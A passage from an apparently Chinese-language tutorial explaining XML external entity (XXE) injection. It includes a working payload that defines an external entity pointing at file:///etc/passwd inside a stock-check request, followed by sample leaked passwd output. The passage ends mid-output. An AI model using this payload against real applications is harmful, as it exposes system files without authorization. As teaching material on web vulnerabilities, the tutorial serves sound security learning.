1. 什么是XXE?
XXE是XML external entity (XXE) injection
2. XXE是怎么发生的?
XML规范中包含了一些不安全的特性,如果XML parser实现了这些特性,就存在安全隐患。XML external entity是一种自定义XML实体,其定义的值是从声明它们的DTD外部加载的。从安全性的角度来看,外部实体会存在潜在风险,因为它们允许根据文件路径或URL的内容定义实体。
3. XXE攻击的种类
3.1 利用XXE读取文件内容
为了实现这种攻击,有两种方式:
(1)引入(或编辑)DOCTYPE元素,因为这里可以定义指向文件的路径
这里举个例子,假设有一个应用通过提交下面的XML数据来查询库存中产品的信息。
<?xml version="1.0" encoding="UTF-8"?>
<stockCheck><productId>381</productId></stockCheck>
如果应用没有做任何XXE防护的话,可以使用下面的payload来利用XXE的漏洞,读取/etc/passwd的内容。
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
<stockCheck><productId>&xxe;</productId></stockCheck>
XXE的payload定义了外部的entity: &xxe; 它的值是文件/etc/passwd的内容,并且在productId中使用。
这就导致应用的response为passwd的内容。
Invalid product ID: root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin: